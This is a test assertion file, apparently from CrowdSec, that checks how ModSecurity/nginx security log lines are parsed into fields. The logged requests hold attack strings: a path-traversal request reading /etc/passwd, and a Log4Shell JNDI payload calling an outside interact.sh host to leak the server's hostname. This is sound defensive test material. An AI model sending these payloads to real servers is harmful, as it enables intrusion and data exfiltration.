Debian Codegraph @

hub1/.tests/modsecurity-logs-nginx/parser.assert

raw
1 len(results) == 4
2 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 6
3 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true
4 results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `Rx' with parameter `(?i)(?:\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5 (400 characters omitted)' against variable `REQUEST_URI_RAW' (Value: `/?foo=../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"29\"] [id \"930100\"] [rev \"\"] [msg \"Path Traversal Attack (/../)\"] [data \"Matched Data: /../ found within REQUEST_URI_RAW: /?foo=../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-lfi\"] [tag \"OWASP_CRS\"] [tag \"OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o8,4o14,4o20,4o26,4v4,40\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\""
5 results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "modsecurity"
6 results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log"
7 results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file"
8 results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true
9 results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `Rx' with parameter `(?:^|[\\\\/])\\.\\.(?:[\\\\/]|$)' against variable `REQUEST_URI' (Value: `/?foo=../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"51\"] [id \"930110\"] [rev \"\"] [msg \"Path Traversal Attack (/../)\"] [data \"Matched Data: /../ found within REQUEST_URI: /?foo=../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o8,4o14,4o20,4o26,4v4,40\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\""
10 results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "modsecurity"
11 results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log"
12 results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file"
13 results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true
14 results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "modsecurity"
15 results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `PmFromFile' with parameter `lfi-os-files.data' against variable `ARGS:foo' (Value: `../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"76\"] [id \"930120\"] [rev \"\"] [msg \"OS File Access Attempt\"] [data \"Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-lfi\"] [tag \"OWASP_CRS\"] [tag \"OWASP_CRS/WEB_ATTACK/FILE_INJECTION\"] [tag \"WASCTC/WASC-33\"] [tag \"OWASP_TOP_10/A4\"] [tag \"PCI/6.5.4\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o24,10v10,34t:utf8toUnicode,t:urlDecodeUni,t:normalizePathWin,t:lowercase\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\""
16 results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log"
17 results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file"
18 results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true
19 results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:foo' (Value: `../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf\"] [line \"488\"] [id \"932160\"] [rev \"\"] [msg \"Remote Command Execution: Unix Shell Code Found\"] [data \"Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-shell\"] [tag \"platform-unix\"] [tag \"attack-rce\"] [tag \"OWASP_CRS\"] [tag \"OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION\"] [tag \"WASCTC/WASC-31\"] [tag \"OWASP_TOP_10/A1\"] [tag \"PCI/6.5.2\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o24,10v10,34t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\""
20 results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "modsecurity"
21 results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log"
22 results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file"
23 results["s00-raw"]["crowdsecurity/non-syslog"][4].Success == true
24 results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `20' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"] [line \"79\"] [id \"949110\"] [rev \"\"] [msg \"Inbound Anomaly Score Exceeded (Total Score: 20)\"] [data \"\"] [severity \"2\"] [ver \"\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-generic\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\""
25 results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["program"] == "modsecurity"
26 results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log"
27 results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_type"] == "file"
28 results["s00-raw"]["crowdsecurity/non-syslog"][5].Success == true
29 results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["message"] == "2021/12/26 12:36:51 [error] 972#972: *18722 [client 161.97.102.240] ModSecurity: Access denied with code 403 (phase 2). Matched \"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `370' ) [file \"/etc/nginx/modsec/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"] [line \"80\"] [id \"949110\"] [rev \"\"] [msg \"Inbound Anomaly Score Exceeded (Total Score: 370)\"] [data \"\"] [severity \"2\"] [ver \"OWASP_CRS/3.x.x\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-generic\"] [hostname \"192.168.0.1\"] [uri \"/\"] [unique_id \"1640518611\"] [ref \"\"], client: 161.97.102.240, server: 42.42.42.42, request: \"GET /?x=${jndi:ldap://${hostName}.c72643ci97rd1ek9i7u0c8rf8iejf6fk6.interact.sh/a} HTTP/1.1\", host: \"hostname.domain:443\", referrer: \"${jndi:ldap://${hostName}.referer.c72643ci97rd1ek9i7u0c8rf8iejf6fms.interact.sh}\""
30 results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["program"] == "modsecurity"
31 results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log"
32 results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_type"] == "file"
33 len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 6
34 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false
35 results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false
36 results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false
37 results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false
38 results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == false
39 results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == false
40 len(results["s01-parse"]["crowdsecurity/modsecurity"]) == 6
41 results["s01-parse"]["crowdsecurity/modsecurity"][0].Success == true
42 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["modsecseverity"] == "Warning"
43 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruletag0"] == "application-multi"
44 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["uniqueid"] == "163722446755.059797"
45 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["accuracy"] == "0"
46 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["http_version"] == "1.1"
47 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruledata"] == "Matched Data: /../ found within REQUEST_URI_RAW: /?foo=../../../../../../../../etc/passwd"
48 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruleid"] == "930100"
49 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["target_fqdn"] == "foobar.com"
50 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["verb"] == "GET"
51 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["loglevel"] == "info"
52 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["pid"] == "86596"
53 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["remote_addr"] == "82.64.145.141"
54 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["request"] == "/?foo=../../../../../../../../etc/passwd"
55 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"
56 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `Rx' with parameter `(?i)(?:\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5 (400 characters omitted)' against variable `REQUEST_URI_RAW' (Value: `/?foo=../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"29\"] [id \"930100\"] [rev \"\"] [msg \"Path Traversal Attack (/../)\"] [data \"Matched Data: /../ found within REQUEST_URI_RAW: /?foo=../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-lfi\"] [tag \"OWASP_CRS\"] [tag \"OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o8,4o14,4o20,4o26,4v4,40\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\""
57 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruleseverity"] == "2"
58 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["program"] == "modsecurity"
59 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruletag3"] == "attack-lfi"
60 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["targeturi"] == "/"
61 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["version"] == "OWASP_CRS/3.2.0"
62 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["time"] == "2021/11/18 08:34:27"
63 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["cid"] == "1083"
64 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["modsecmessage"] == "Matched \"Operator `Rx' with parameter `(?i)(?:\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5 (400 characters omitted)' against variable `REQUEST_URI_RAW' (Value: `/?foo=../../../../../../../../etc/passwd' )"
65 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruletag2"] == "platform-multi"
66 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["targethost"] == "10.0.1.61"
67 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruletag4"] == "OWASP_CRS"
68 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruletag5"] == "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"
69 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["maturity"] == "0"
70 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ref"] == "o8,4o14,4o20,4o26,4v4,40"
71 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruleline"] == "29"
72 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["rulemessage"] == "Path Traversal Attack (/../)"
73 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruletag1"] == "language-multi"
74 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["tid"] == "86596"
75 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Meta["modsec_ruledata"] == "Matched Data: /../ found within REQUEST_URI_RAW: /?foo=../../../../../../../../etc/passwd"
76 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Meta["rule_id"] == "930100"
77 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Meta["source_ip"] == "82.64.145.141"
78 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log"
79 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Meta["datasource_type"] == "file"
80 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Meta["log_type"] == "modsecurity"
81 results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Meta["modsec_message"] == "Path Traversal Attack (/../)"
82 results["s01-parse"]["crowdsecurity/modsecurity"][1].Success == true
83 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["modsecmessage"] == "Matched \"Operator `Rx' with parameter `(?:^|[\\\\/])\\.\\.(?:[\\\\/]|$)' against variable `REQUEST_URI' (Value: `/?foo=../../../../../../../../etc/passwd' )"
84 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["tid"] == "86596"
85 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["loglevel"] == "info"
86 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["modsecseverity"] == "Warning"
87 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["rulemessage"] == "Path Traversal Attack (/../)"
88 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["pid"] == "86596"
89 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["ruleseverity"] == "2"
90 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["targeturi"] == "/"
91 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["time"] == "2021/11/18 08:34:27"
92 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["verb"] == "GET"
93 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["request"] == "/?foo=../../../../../../../../etc/passwd"
94 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["targethost"] == "10.0.1.61"
95 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["version"] == "OWASP_CRS/3.2.0"
96 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"
97 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["ruleid"] == "930110"
98 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["ruleline"] == "51"
99 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["uniqueid"] == "163722446755.059797"
100 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["accuracy"] == "0"
101 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `Rx' with parameter `(?:^|[\\\\/])\\.\\.(?:[\\\\/]|$)' against variable `REQUEST_URI' (Value: `/?foo=../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"51\"] [id \"930110\"] [rev \"\"] [msg \"Path Traversal Attack (/../)\"] [data \"Matched Data: /../ found within REQUEST_URI: /?foo=../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o8,4o14,4o20,4o26,4v4,40\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\""
102 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["program"] == "modsecurity"
103 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["remote_addr"] == "82.64.145.141"
104 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["ruledata"] == "Matched Data: /../ found within REQUEST_URI: /?foo=../../../../../../../../etc/passwd"
105 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["http_version"] == "1.1"
106 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["maturity"] == "0"
107 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["ref"] == "o8,4o14,4o20,4o26,4v4,40"
108 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["cid"] == "1083"
109 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["target_fqdn"] == "foobar.com"
110 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log"
111 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Meta["datasource_type"] == "file"
112 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Meta["log_type"] == "modsecurity"
113 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Meta["modsec_message"] == "Path Traversal Attack (/../)"
114 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Meta["modsec_ruledata"] == "Matched Data: /../ found within REQUEST_URI: /?foo=../../../../../../../../etc/passwd"
115 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Meta["rule_id"] == "930110"
116 results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Meta["source_ip"] == "82.64.145.141"
117 results["s01-parse"]["crowdsecurity/modsecurity"][2].Success == true
118 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["modsecmessage"] == "Matched \"Operator `PmFromFile' with parameter `lfi-os-files.data' against variable `ARGS:foo' (Value: `../../../../../../../../etc/passwd' )"
119 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["request"] == "/?foo=../../../../../../../../etc/passwd"
120 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruledata"] == "Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd"
121 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag1"] == "language-multi"
122 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["http_version"] == "1.1"
123 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["maturity"] == "0"
124 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["pid"] == "86596"
125 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruleline"] == "76"
126 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag2"] == "platform-multi"
127 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag3"] == "attack-lfi"
128 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["targethost"] == "10.0.1.61"
129 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `PmFromFile' with parameter `lfi-os-files.data' against variable `ARGS:foo' (Value: `../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"76\"] [id \"930120\"] [rev \"\"] [msg \"OS File Access Attempt\"] [data \"Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-lfi\"] [tag \"OWASP_CRS\"] [tag \"OWASP_CRS/WEB_ATTACK/FILE_INJECTION\"] [tag \"WASCTC/WASC-33\"] [tag \"OWASP_TOP_10/A4\"] [tag \"PCI/6.5.4\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o24,10v10,34t:utf8toUnicode,t:urlDecodeUni,t:normalizePathWin,t:lowercase\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\""
130 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"
131 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag0"] == "application-multi"
132 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag4"] == "OWASP_CRS"
133 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["target_fqdn"] == "foobar.com"
134 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ref"] == "o24,10v10,34t:utf8toUnicode,t:urlDecodeUni,t:normalizePathWin,t:lowercase"
135 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag5"] == "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"
136 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["time"] == "2021/11/18 08:34:27"
137 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["loglevel"] == "info"
138 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["modsecseverity"] == "Warning"
139 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["remote_addr"] == "82.64.145.141"
140 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruleid"] == "930120"
141 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruleseverity"] == "2"
142 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag7"] == "OWASP_TOP_10/A4"
143 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["uniqueid"] == "163722446755.059797"
144 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["rulemessage"] == "OS File Access Attempt"
145 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag6"] == "WASCTC/WASC-33"
146 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["tid"] == "86596"
147 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["version"] == "OWASP_CRS/3.2.0"
148 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["accuracy"] == "0"
149 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["cid"] == "1083"
150 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag8"] == "PCI/6.5.4"
151 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["verb"] == "GET"
152 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["program"] == "modsecurity"
153 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["targeturi"] == "/"
154 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log"
155 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Meta["datasource_type"] == "file"
156 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Meta["log_type"] == "modsecurity"
157 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Meta["modsec_message"] == "OS File Access Attempt"
158 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Meta["modsec_ruledata"] == "Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd"
159 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Meta["rule_id"] == "930120"
160 results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Meta["source_ip"] == "82.64.145.141"
161 results["s01-parse"]["crowdsecurity/modsecurity"][3].Success == true
162 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag6"] == "WASCTC/WASC-31"
163 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag8"] == "PCI/6.5.2"
164 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["verb"] == "GET"
165 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["modsecseverity"] == "Warning"
166 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["pid"] == "86596"
167 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag2"] == "platform-unix"
168 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["tid"] == "86596"
169 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["http_version"] == "1.1"
170 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruledata"] == "Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd"
171 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruleid"] == "932160"
172 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag1"] == "language-shell"
173 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["target_fqdn"] == "foobar.com"
174 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["uniqueid"] == "163722446755.059797"
175 results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["modsecmessage"] == "Matched \"Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:foo' (Value: `../../../../../../../../etc/passwd' )"
